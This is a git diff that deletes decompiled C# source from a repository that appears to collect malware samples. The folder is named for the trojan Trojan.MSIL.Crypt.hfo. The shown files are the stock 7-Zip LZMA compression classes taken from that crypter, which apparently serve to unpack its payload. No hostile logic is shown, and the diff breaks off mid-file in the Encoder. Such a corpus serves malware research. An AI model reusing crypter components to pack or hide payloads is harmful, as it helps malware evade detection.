- uint num1 = items[(IntPtr) index]; - uint num2 = num1 > subValue ? num1 - subValue : 0U; - items[(IntPtr) index] = num2; - } - } - - private void Normalize() - { - uint subValue = this._pos - this._cyclicBufferSize; - this.NormalizeLinks(this._son, this._cyclicBufferSize * 2U, subValue); - this.NormalizeLinks(this._hash, this._hashSizeSum, subValue); - this.ReduceOffsets((int) subValue); - } - - public void SetCutValue(uint cutValue) => this._cutValue = cutValue; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZ/IInWindowStream.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZ/IInWindowStream.cs deleted file mode 100644 index 0469e50b..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZ/IInWindowStream.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.IInWindowStream -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -using System.IO; - -namespace SevenZip.Compression.LZ -{ - internal interface IInWindowStream - { - void SetStream(Stream inStream); - - void Init(); - - void ReleaseStream(); - - byte GetIndexByte(int index); - - uint GetMatchLen(int index, uint distance, uint limit); - - uint GetNumAvailableBytes(); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZ/IMatchFinder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZ/IMatchFinder.cs deleted file mode 100644 index 5e3f71c5..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZ/IMatchFinder.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.IMatchFinder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -namespace SevenZip.Compression.LZ -{ - internal interface IMatchFinder : IInWindowStream - { - void Create( - uint historySize, - uint keepAddBufferBefore, - uint matchMaxLen, - uint keepAddBufferAfter); - - uint GetMatches(uint[] distances); - - void Skip(uint num); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZ/InWindow.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZ/InWindow.cs deleted file mode 100644 index 70fc5958..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZ/InWindow.cs +++ /dev/null @@ -1,127 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.InWindow -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZ -{ - public class InWindow - { - public byte[] _bufferBase; - private Stream _stream; - private uint _posLimit; - private bool _streamEndWasReached; - private uint _pointerToLastSafePosition; - public uint _bufferOffset; - public uint _blockSize; - public uint _pos; - private uint _keepSizeBefore; - private uint _keepSizeAfter; - public uint _streamPos; - - public void MoveBlock() - { - uint num1 = this._bufferOffset + this._pos - this._keepSizeBefore; - if (num1 > 0U) - --num1; - uint num2 = this._bufferOffset + this._streamPos - num1; - for (uint index = 0; index < num2; ++index) - this._bufferBase[(IntPtr) index] = this._bufferBase[(IntPtr) (num1 + index)]; - this._bufferOffset -= num1; - } - - public virtual void ReadBlock() - { - if (this._streamEndWasReached) - return; - while (true) - { - do - { - int count = -(int) this._bufferOffset + (int) this._blockSize - (int) this._streamPos; - if (count == 0) - return; - int num = this._stream.Read(this._bufferBase, (int) this._bufferOffset + (int) this._streamPos, count); - if (num == 0) - { - this._posLimit = this._streamPos; - if (this._bufferOffset + this._posLimit > this._pointerToLastSafePosition) - this._posLimit = this._pointerToLastSafePosition - this._bufferOffset; - this._streamEndWasReached = true; - return; - } - this._streamPos += (uint) num; - } - while (this._streamPos < this._pos + this._keepSizeAfter); - this._posLimit = this._streamPos - this._keepSizeAfter; - } - } - - private void Free() => this._bufferBase = (byte[]) null; - - public void Create(uint keepSizeBefore, uint keepSizeAfter, uint keepSizeReserv) - { - this._keepSizeBefore = keepSizeBefore; - this._keepSizeAfter = keepSizeAfter; - uint num = keepSizeBefore + keepSizeAfter + keepSizeReserv; - if (this._bufferBase == null || (int) this._blockSize != (int) num) - { - this.Free(); - this._blockSize = num; - this._bufferBase = new byte[(IntPtr) this._blockSize]; - } - this._pointerToLastSafePosition = this._blockSize - keepSizeAfter; - } - - public void SetStream(Stream stream) => this._stream = stream; - - public void ReleaseStream() => this._stream = (Stream) null; - - public void Init() - { - this._bufferOffset = 0U; - this._pos = 0U; - this._streamPos = 0U; - this._streamEndWasReached = false; - this.ReadBlock(); - } - - public void MovePos() - { - ++this._pos; - if (this._pos <= this._posLimit) - return; - if (this._bufferOffset + this._pos > this._pointerToLastSafePosition) - this.MoveBlock(); - this.ReadBlock(); - } - - public byte GetIndexByte(int index) => this._bufferBase[(long) (this._bufferOffset + this._pos) + (long) index]; - - public uint GetMatchLen(int index, uint distance, uint limit) - { - if (this._streamEndWasReached && (long) this._pos + (long) index + (long) limit > (long) this._streamPos) - limit = this._streamPos - (uint) ((ulong) this._pos + (ulong) index); - ++distance; - uint num = (uint) ((int) this._bufferOffset + (int) this._pos + index); - uint matchLen = 0; - while (matchLen < limit && (int) this._bufferBase[(IntPtr) (num + matchLen)] == (int) this._bufferBase[(IntPtr) (num + matchLen - distance)]) - ++matchLen; - return matchLen; - } - - public uint GetNumAvailableBytes() => this._streamPos - this._pos; - - public void ReduceOffsets(int subValue) - { - this._bufferOffset += (uint) subValue; - this._posLimit -= (uint) subValue; - this._pos -= (uint) subValue; - this._streamPos -= (uint) subValue; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZ/OutWindow.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZ/OutWindow.cs deleted file mode 100644 index 320f6c34..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZ/OutWindow.cs +++ /dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.OutWindow -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZ -{ - public class OutWindow - { - private byte[] _buffer; - private uint _pos; - private uint _windowSize; - private uint _streamPos; - private Stream _stream; - public uint TrainSize; - - public void Create(uint windowSize) - { - if ((int) this._windowSize != (int) windowSize) - this._buffer = new byte[(IntPtr) windowSize]; - this._windowSize = windowSize; - this._pos = 0U; - this._streamPos = 0U; - } - - public void Init(Stream stream, bool solid) - { - this.ReleaseStream(); - this._stream = stream; - if (solid) - return; - this._streamPos = 0U; - this._pos = 0U; - this.TrainSize = 0U; - } - - public bool Train(Stream stream) - { - long length = stream.Length; - uint num1 = length < (long) this._windowSize ? (uint) length : this._windowSize; - this.TrainSize = num1; - stream.Position = length - (long) num1; - this._streamPos = this._pos = 0U; - while (num1 > 0U) - { - uint count = this._windowSize - this._pos; - if (num1 < count) - count = num1; - int num2 = stream.Read(this._buffer, (int) this._pos, (int) count); - if (num2 == 0) - return false; - num1 -= (uint) num2; - this._pos += (uint) num2; - this._streamPos += (uint) num2; - if ((int) this._pos == (int) this._windowSize) - this._streamPos = this._pos = 0U; - } - return true; - } - - public void ReleaseStream() - { - this.Flush(); - this._stream = (Stream) null; - } - - public void Flush() - { - uint count = this._pos - this._streamPos; - if (count == 0U) - return; - this._stream.Write(this._buffer, (int) this._streamPos, (int) count); - if (this._pos >= this._windowSize) - this._pos = 0U; - this._streamPos = this._pos; - } - - public void CopyBlock(uint distance, uint len) - { - uint num = (uint) ((int) this._pos - (int) distance - 1); - if (num >= this._windowSize) - num += this._windowSize; - for (; len > 0U; --len) - { - if (num >= this._windowSize) - num = 0U; - this._buffer[(IntPtr) this._pos++] = this._buffer[(IntPtr) num++]; - if (this._pos >= this._windowSize) - this.Flush(); - } - } - - public void PutByte(byte b) - { - this._buffer[(IntPtr) this._pos++] = b; - if (this._pos < this._windowSize) - return; - this.Flush(); - } - - public byte GetByte(uint distance) - { - uint index = (uint) ((int) this._pos - (int) distance - 1); - if (index >= this._windowSize) - index += this._windowSize; - return this._buffer[(IntPtr) index]; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZMA/Base.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZMA/Base.cs deleted file mode 100644 index 31e2e93c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZMA/Base.cs +++ /dev/null @@ -1,70 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.Base -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -namespace SevenZip.Compression.LZMA -{ - internal abstract class Base - { - public const uint kNumRepDistances = 4; - public const uint kNumStates = 12; - public const int kNumPosSlotBits = 6; - public const int kDicLogSizeMin = 0; - public const int kNumLenToPosStatesBits = 2; - public const uint kNumLenToPosStates = 4; - public const uint kMatchMinLen = 2; - public const int kNumAlignBits = 4; - public const uint kAlignTableSize = 16; - public const uint kAlignMask = 15; - public const uint kStartPosModelIndex = 4; - public const uint kEndPosModelIndex = 14; - public const uint kNumPosModels = 10; - public const uint kNumFullDistances = 128; - public const uint kNumLitPosStatesBitsEncodingMax = 4; - public const uint kNumLitContextBitsMax = 8; - public const int kNumPosStatesBitsMax = 4; - public const uint kNumPosStatesMax = 16; - public const int kNumPosStatesBitsEncodingMax = 4; - public const uint kNumPosStatesEncodingMax = 16; - public const int kNumLowLenBits = 3; - public const int kNumMidLenBits = 3; - public const int kNumHighLenBits = 8; - public const uint kNumLowLenSymbols = 8; - public const uint kNumMidLenSymbols = 8; - public const uint kNumLenSymbols = 272; - public const uint kMatchMaxLen = 273; - - public static uint GetLenToPosState(uint len) - { - len -= 2U; - return len < 4U ? len : 3U; - } - - public struct State - { - public uint Index; - - public void Init() => this.Index = 0U; - - public void UpdateChar() - { - if (this.Index < 4U) - this.Index = 0U; - else if (this.Index < 10U) - this.Index -= 3U; - else - this.Index -= 6U; - } - - public void UpdateMatch() => this.Index = this.Index < 7U ? 7U : 10U; - - public void UpdateRep() => this.Index = this.Index < 7U ? 8U : 11U; - - public void UpdateShortRep() => this.Index = this.Index < 7U ? 9U : 11U; - - public bool IsCharState() => this.Index < 7U; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZMA/Decoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZMA/Decoder.cs deleted file mode 100644 index d91dcd33..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZMA/Decoder.cs +++ /dev/null @@ -1,353 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.Decoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -using SevenZip.Compression.LZ; -using SevenZip.Compression.RangeCoder; -using System; -using System.IO; - -namespace SevenZip.Compression.LZMA -{ - public class Decoder : ICoder, ISetDecoderProperties - { - private OutWindow m_OutWindow = new OutWindow(); - private SevenZip.Compression.RangeCoder.Decoder m_RangeDecoder = new SevenZip.Compression.RangeCoder.Decoder(); - private BitDecoder[] m_IsMatchDecoders = new BitDecoder[new IntPtr(192)]; - private BitDecoder[] m_IsRepDecoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRepG0Decoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRepG1Decoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRepG2Decoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRep0LongDecoders = new BitDecoder[new IntPtr(192)]; - private BitTreeDecoder[] m_PosSlotDecoder = new BitTreeDecoder[new IntPtr(4)]; - private BitDecoder[] m_PosDecoders = new BitDecoder[new IntPtr(114)]; - private BitTreeDecoder m_PosAlignDecoder = new BitTreeDecoder(4); - private Decoder.LenDecoder m_LenDecoder = new Decoder.LenDecoder(); - private Decoder.LenDecoder m_RepLenDecoder = new Decoder.LenDecoder(); - private Decoder.LiteralDecoder m_LiteralDecoder = new Decoder.LiteralDecoder(); - private uint m_DictionarySize; - private uint m_DictionarySizeCheck; - private uint m_PosStateMask; - private bool _solid; - - public Decoder() - { - this.m_DictionarySize = uint.MaxValue; - for (int index = 0; index < 4; ++index) - this.m_PosSlotDecoder[index] = new BitTreeDecoder(6); - } - - private void SetDictionarySize(uint dictionarySize) - { - if ((int) this.m_DictionarySize == (int) dictionarySize) - return; - this.m_DictionarySize = dictionarySize; - this.m_DictionarySizeCheck = Math.Max(this.m_DictionarySize, 1U); - this.m_OutWindow.Create(Math.Max(this.m_DictionarySizeCheck, 4096U)); - } - - private void SetLiteralProperties(int lp, int lc) - { - if (lp > 8) - throw new InvalidParamException(); - if (lc > 8) - throw new InvalidParamException(); - this.m_LiteralDecoder.Create(lp, lc); - } - - private void SetPosBitsProperties(int pb) - { - if (pb > 4) - throw new InvalidParamException(); - uint numPosStates = (uint) (1 << pb); - this.m_LenDecoder.Create(numPosStates); - this.m_RepLenDecoder.Create(numPosStates); - this.m_PosStateMask = numPosStates - 1U; - } - - private void Init(Stream inStream, Stream outStream) - { - this.m_RangeDecoder.Init(inStream); - this.m_OutWindow.Init(outStream, this._solid); - for (uint index1 = 0; index1 < 12U; ++index1) - { - for (uint index2 = 0; index2 <= this.m_PosStateMask; ++index2) - { - uint index3 = (index1 << 4) + index2; - this.m_IsMatchDecoders[(IntPtr) index3].Init(); - this.m_IsRep0LongDecoders[(IntPtr) index3].Init(); - } - this.m_IsRepDecoders[(IntPtr) index1].Init(); - this.m_IsRepG0Decoders[(IntPtr) index1].Init(); - this.m_IsRepG1Decoders[(IntPtr) index1].Init(); - this.m_IsRepG2Decoders[(IntPtr) index1].Init(); - } - this.m_LiteralDecoder.Init(); - for (uint index = 0; index < 4U; ++index) - this.m_PosSlotDecoder[(IntPtr) index].Init(); - for (uint index = 0; index < 114U; ++index) - this.m_PosDecoders[(IntPtr) index].Init(); - this.m_LenDecoder.Init(); - this.m_RepLenDecoder.Init(); - this.m_PosAlignDecoder.Init(); - } - - public void Code( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - ICodeProgress progress) - { - this.Init(inStream, outStream); - Base.State state = new Base.State(); - state.Init(); - uint distance = 0; - uint num1 = 0; - uint num2 = 0; - uint num3 = 0; - ulong pos = 0; - ulong num4 = (ulong) outSize; - if (pos < num4) - { - if (this.m_IsMatchDecoders[(IntPtr) (state.Index << 4)].Decode(this.m_RangeDecoder) != 0U) - throw new DataErrorException(); - state.UpdateChar(); - this.m_OutWindow.PutByte(this.m_LiteralDecoder.DecodeNormal(this.m_RangeDecoder, 0U, (byte) 0)); - ++pos; - } - while (pos < num4) - { - uint posState = (uint) pos & this.m_PosStateMask; - if (this.m_IsMatchDecoders[(IntPtr) ((state.Index << 4) + posState)].Decode(this.m_RangeDecoder) == 0U) - { - byte prevByte = this.m_OutWindow.GetByte(0U); - this.m_OutWindow.PutByte(state.IsCharState() ? this.m_LiteralDecoder.DecodeNormal(this.m_RangeDecoder, (uint) pos, prevByte) : this.m_LiteralDecoder.DecodeWithMatchByte(this.m_RangeDecoder, (uint) pos, prevByte, this.m_OutWindow.GetByte(distance))); - state.UpdateChar(); - ++pos; - } - else - { - uint len; - if (this.m_IsRepDecoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 1U) - { - if (this.m_IsRepG0Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U) - { - if (this.m_IsRep0LongDecoders[(IntPtr) ((state.Index << 4) + posState)].Decode(this.m_RangeDecoder) == 0U) - { - state.UpdateShortRep(); - this.m_OutWindow.PutByte(this.m_OutWindow.GetByte(distance)); - ++pos; - continue; - } - } - else - { - uint num5; - if (this.m_IsRepG1Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U) - { - num5 = num1; - } - else - { - if (this.m_IsRepG2Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U) - { - num5 = num2; - } - else - { - num5 = num3; - num3 = num2; - } - num2 = num1; - } - num1 = distance; - distance = num5; - } - len = this.m_RepLenDecoder.Decode(this.m_RangeDecoder, posState) + 2U; - state.UpdateRep(); - } - else - { - num3 = num2; - num2 = num1; - num1 = distance; - len = 2U + this.m_LenDecoder.Decode(this.m_RangeDecoder, posState); - state.UpdateMatch(); - uint num6 = this.m_PosSlotDecoder[(IntPtr) Base.GetLenToPosState(len)].Decode(this.m_RangeDecoder); - if (num6 >= 4U) - { - int NumBitLevels = (int) (num6 >> 1) - 1; - uint num7 = (uint) ((2 | (int) num6 & 1) << NumBitLevels); - distance = num6 >= 14U ? num7 + (this.m_RangeDecoder.DecodeDirectBits(NumBitLevels - 4) << 4) + this.m_PosAlignDecoder.ReverseDecode(this.m_RangeDecoder) : num7 + BitTreeDecoder.ReverseDecode(this.m_PosDecoders, (uint) ((int) num7 - (int) num6 - 1), this.m_RangeDecoder, NumBitLevels); - } - else - distance = num6; - } - if ((ulong) distance >= (ulong) this.m_OutWindow.TrainSize + pos || distance >= this.m_DictionarySizeCheck) - { - if (distance != uint.MaxValue) - throw new DataErrorException(); - break; - } - this.m_OutWindow.CopyBlock(distance, len); - pos += (ulong) len; - } - } - this.m_OutWindow.Flush(); - this.m_OutWindow.ReleaseStream(); - this.m_RangeDecoder.ReleaseStream(); - } - - public void SetDecoderProperties(byte[] properties) - { - if (properties.Length < 5) - throw new InvalidParamException(); - int lc = (int) properties[0] % 9; - int num = (int) properties[0] / 9; - int lp = num % 5; - int pb = num / 5; - if (pb > 4) - throw new InvalidParamException(); - uint dictionarySize = 0; - for (int index = 0; index < 4; ++index) - dictionarySize += (uint) properties[1 + index] << index * 8; - this.SetDictionarySize(dictionarySize); - this.SetLiteralProperties(lp, lc); - this.SetPosBitsProperties(pb); - } - - public bool Train(Stream stream) - { - this._solid = true; - return this.m_OutWindow.Train(stream); - } - - private class LenDecoder - { - private BitDecoder m_Choice = new BitDecoder(); - private BitDecoder m_Choice2 = new BitDecoder(); - private BitTreeDecoder[] m_LowCoder = new BitTreeDecoder[new IntPtr(16)]; - private BitTreeDecoder[] m_MidCoder = new BitTreeDecoder[new IntPtr(16)]; - private BitTreeDecoder m_HighCoder = new BitTreeDecoder(8); - private uint m_NumPosStates; - - public void Create(uint numPosStates) - { - for (uint numPosStates1 = this.m_NumPosStates; numPosStates1 < numPosStates; ++numPosStates1) - { - this.m_LowCoder[(IntPtr) numPosStates1] = new BitTreeDecoder(3); - this.m_MidCoder[(IntPtr) numPosStates1] = new BitTreeDecoder(3); - } - this.m_NumPosStates = numPosStates; - } - - public void Init() - { - this.m_Choice.Init(); - for (uint index = 0; index < this.m_NumPosStates; ++index) - { - this.m_LowCoder[(IntPtr) index].Init(); - this.m_MidCoder[(IntPtr) index].Init(); - } - this.m_Choice2.Init(); - this.m_HighCoder.Init(); - } - - public uint Decode(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, uint posState) - { - if (this.m_Choice.Decode(rangeDecoder) == 0U) - return this.m_LowCoder[(IntPtr) posState].Decode(rangeDecoder); - uint num = 8; - return this.m_Choice2.Decode(rangeDecoder) != 0U ? num + 8U + this.m_HighCoder.Decode(rangeDecoder) : num + this.m_MidCoder[(IntPtr) posState].Decode(rangeDecoder); - } - } - - private class LiteralDecoder - { - private Decoder.LiteralDecoder.Decoder2[] m_Coders; - private int m_NumPrevBits; - private int m_NumPosBits; - private uint m_PosMask; - - public void Create(int numPosBits, int numPrevBits) - { - if (this.m_Coders != null && this.m_NumPrevBits == numPrevBits && this.m_NumPosBits == numPosBits) - return; - this.m_NumPosBits = numPosBits; - this.m_PosMask = (uint) ((1 << numPosBits) - 1); - this.m_NumPrevBits = numPrevBits; - uint length = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - this.m_Coders = new Decoder.LiteralDecoder.Decoder2[(IntPtr) length]; - for (uint index = 0; index < length; ++index) - this.m_Coders[(IntPtr) index].Create(); - } - - public void Init() - { - uint num = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - for (uint index = 0; index < num; ++index) - this.m_Coders[(IntPtr) index].Init(); - } - - private uint GetState(uint pos, byte prevByte) => (uint) ((((int) pos & (int) this.m_PosMask) << this.m_NumPrevBits) + ((int) prevByte >> 8 - this.m_NumPrevBits)); - - public byte DecodeNormal(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, uint pos, byte prevByte) => this.m_Coders[(IntPtr) this.GetState(pos, prevByte)].DecodeNormal(rangeDecoder); - - public byte DecodeWithMatchByte( - SevenZip.Compression.RangeCoder.Decoder rangeDecoder, - uint pos, - byte prevByte, - byte matchByte) - { - return this.m_Coders[(IntPtr) this.GetState(pos, prevByte)].DecodeWithMatchByte(rangeDecoder, matchByte); - } - - private struct Decoder2 - { - private BitDecoder[] m_Decoders; - - public void Create() => this.m_Decoders = new BitDecoder[768]; - - public void Init() - { - for (int index = 0; index < 768; ++index) - this.m_Decoders[index].Init(); - } - - public byte DecodeNormal(SevenZip.Compression.RangeCoder.Decoder rangeDecoder) - { - uint index = 1; - do - { - index = index << 1 | this.m_Decoders[(IntPtr) index].Decode(rangeDecoder); - } - while (index < 256U); - return (byte) index; - } - - public byte DecodeWithMatchByte(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, byte matchByte) - { - uint index = 1; - do - { - uint num1 = (uint) ((int) matchByte >> 7 & 1); - matchByte <<= 1; - uint num2 = this.m_Decoders[(IntPtr) ((uint) (1 + (int) num1 << 8) + index)].Decode(rangeDecoder); - index = index << 1 | num2; - if ((int) num1 != (int) num2) - { - while (index < 256U) - index = index << 1 | this.m_Decoders[(IntPtr) index].Decode(rangeDecoder); - break; - } - } - while (index < 256U); - return (byte) index; - } - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZMA/Encoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZMA/Encoder.cs deleted file mode 100644 index 75457fe5..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911/Compression/LZMA/Encoder.cs +++ /dev/null @@ -1,1329 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.Encoder -// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 5CB055EB-FCBE-44E0-BFC7-D5068F3C3C79 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-e703f89a549d4708d6e2aea8392a686f4be06b86989e1c39ad1339b2ae70a911.exe - -using SevenZip.Compression.LZ; -using SevenZip.Compression.RangeCoder; -using System; -using System.IO; - -namespace SevenZip.Compression.LZMA -{ - public class Encoder : ICoder, ISetCoderProperties, IWriteCoderProperties - { - private const uint kIfinityPrice = 268435455; - private const int kDefaultDictionaryLogSize = 22; - private const uint kNumFastBytesDefault = 32; - private const uint kNumLenSpecSymbols = 16; - private const uint kNumOpts = 4096; - private const int kPropSize = 5; - private static byte[] g_FastPos = new byte[2048]; - private Base.State _state = new Base.State(); - private byte _previousByte; - private uint[] _repDistances = new uint[new IntPtr(4)]; - private Encoder.Optimal[] _optimum = new Encoder.Optimal[new IntPtr(4096)]; - private IMatchFinder _matchFinder; - private SevenZip.Compression.RangeCoder.Encoder _rangeEncoder = new SevenZip.Compression.RangeCoder.Encoder(); - private BitEncoder[] _isMatch = new BitEncoder[new IntPtr(192)]; - private BitEncoder[] _isRep = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRepG0 = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRepG1 = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRepG2 = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRep0Long = new BitEncoder[new IntPtr(192)]; - private BitTreeEncoder[] _posSlotEncoder = new BitTreeEncoder[new IntPtr(4)]; - private BitEncoder[] _posEncoders = new BitEncoder[new IntPtr(114)]; - private BitTreeEncoder _posAlignEncoder = new BitTreeEncoder(4); - private Encoder.LenPriceTableEncoder _lenEncoder = new Encoder.LenPriceTableEncoder(); - private Encoder.LenPriceTableEncoder _repMatchLenEncoder = new Encoder.LenPriceTableEncoder(); - private Encoder.LiteralEncoder _literalEncoder = new Encoder.LiteralEncoder(); - private uint[] _matchDistances = new uint[new IntPtr(548)]; - private uint _numFastBytes = 32; - private uint _longestMatchLength; - private uint _numDistancePairs; - private uint _additionalOffset; - private uint _optimumEndIndex; - private uint _optimumCurrentIndex; - private bool _longestMatchWasFound; - private uint[] _posSlotPrices = new uint[256]; - private uint[] _distancesPrices = new uint[new IntPtr(512)]; - private uint[] _alignPrices = new uint[new IntPtr(16)]; - private uint _alignPriceCount; - private uint _distTableSize = 44; - private int _posStateBits = 2; - private uint _posStateMask = 3; - private int _numLiteralPosStateBits; - private int _numLiteralContextBits = 3; - private uint _dictionarySize = 4194304; - private uint _dictionarySizePrev = uint.MaxValue; - private uint _numFastBytesPrev = uint.MaxValue; - private long nowPos64; - private bool _finished; - private Stream _inStream; - private Encoder.EMatchFinderType _matchFinderType = Encoder.EMatchFinderType.BT4; - private bool _writeEndMark; - private bool _needReleaseMFStream; - private uint[] reps = new uint[new IntPtr(4)]; - private uint[] repLens = new uint[new IntPtr(4)]; - private byte[] properties = new byte[5]; - private uint[] tempPrices = new uint[new IntPtr(128)]; - private uint _matchPriceCount; - private static string[] kMatchFinderIDs = new string[2] - { - "BT2", - "BT4" - }; - private uint _trainSize; - - static Encoder() - { - int index1 = 2; - Encoder.g_FastPos[0] = (byte) 0; - Encoder.g_FastPos[1] = (byte) 1; - for (byte index2 = 2; index2 < (byte) 22; ++index2) - { - uint num1 = (uint) (1 << ((int) index2 >> 1) - 1); - uint num2 = 0; - while (num2 < num1) - { - 